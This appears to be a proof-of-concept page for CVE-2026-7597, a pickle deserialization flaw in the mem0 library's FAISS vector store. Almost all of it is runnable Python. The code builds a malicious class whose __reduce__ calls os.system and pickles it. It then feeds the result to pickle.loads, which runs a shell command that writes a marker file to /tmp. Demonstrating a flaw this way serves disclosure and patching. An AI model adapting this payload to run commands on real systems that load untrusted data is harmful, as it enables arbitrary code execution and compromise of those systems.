CVE-2026-7597 mem0ai mem0 反序列化漏洞

import pickle import os # Define a malicious payload class class MaliciousPayload: def __reduce__(self): # Execute arbitrary command upon deserialization # Example: creating a file to prove execution return (os.system, ('echo VULNERABLE > /tmp/poc_check.txt', )) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # Simulate the vulnerable code path in mem0/vector_stores/faiss.py # In a real attack, 'malicious_data' would come from an untrusted source/file def vulnerable_load(data): return pickle.loads(data) # Trigger the vulnerability try: print("Attempting to load malicious data...") vulnerable_load(malicious_data) print("Payload executed. Check /tmp/poc_check.txt") except Exception as e: print(f"Error: {e}")